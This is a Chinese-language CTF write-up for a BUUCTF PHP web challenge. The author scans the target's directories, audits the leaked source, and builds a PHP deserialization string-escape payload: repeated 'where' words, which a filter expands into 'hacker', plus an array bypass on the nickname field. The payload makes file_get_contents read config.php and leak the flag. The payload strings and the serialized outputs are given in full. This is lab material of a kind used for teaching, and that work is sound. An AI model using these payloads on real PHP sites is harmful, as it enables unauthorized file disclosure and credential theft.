进入环境
注入没反应,万能密码也不行,发现有个admin用户,但是报不出来密码
换个思路,目录扫描一波,但是这里buu扫描需要设置延时,不然全是429
python dirsearch.py -u http://3b1e3a5a-6685-42a2-bede-7708644af9e4.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
有www.zip下下来查看源码,有register.php先注册一个用户登录进去,是一个更新个人信息的页面
到这先分析一波源码,在profile.php找到file_get_contents利用点
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
返回去分析一下photo在哪,看到serialize,class.php有过滤将字符替换成hacker,这一题是反序列化字符串逃逸了
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); $file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
我们先本地输出一下
<?php if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); $file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']); var_dump(serialize($profile)); }
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="12311.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
string(155) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
审计源代码有config.php文件
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
可知我们最终是要利用file_get_contents读取config.php文件里的flag
所以应该输出的是
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:1:"1";s:5:"photo";s:10:"config.php";}"
但是正常情况下是不能让photo的值是config.php的,所以我们利用nickname去构造一个config.php出来,但是因为nickname只要匹配到a-zA-Z0-9_就会die,所以这里需要用数组绕过
数组序列化时会有一个{},我们输出演示一下
string(165) "a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
可以看见nickname变成数组序列化以后是{i:0;s:1:"1";}
所以我们给nickname=";}s:5:"photo";s:10:"config.php";},前面的}是为了闭合nickname变成数组序列化的{,后面的}是为了让上传图片名字序列化的值不影响到我们的config.php
输出看看
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
这里我发现在php";}";}s:5貌似重复了,但是也不影响,所以nickname=";}s:5:"photo";s:10:"config.php也行,输出试试
"a:4:{s:5:"phone";s:11:"12345644564";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:31:"";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/156005c5baf40ff51a327f1c34f2975b";}"
但是.php";}s:5:"好像没有和最前方的"对齐,经最终测试,是不影响的
这里因为s:31:"";}s:5:"photo";s:10:"config.php",要取31位会把config.php当做值,所以我们要在前面加上31个where使其被过滤替换成hacker多一个字符以满足这31个字符
所以最后的payload有两种
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
这里正常填就行,然后抓包
修改nickname为数组
跳转到个人信息页面,查看读取的config.php
查看源代码
base64解密得到flag
发表评论 取消回复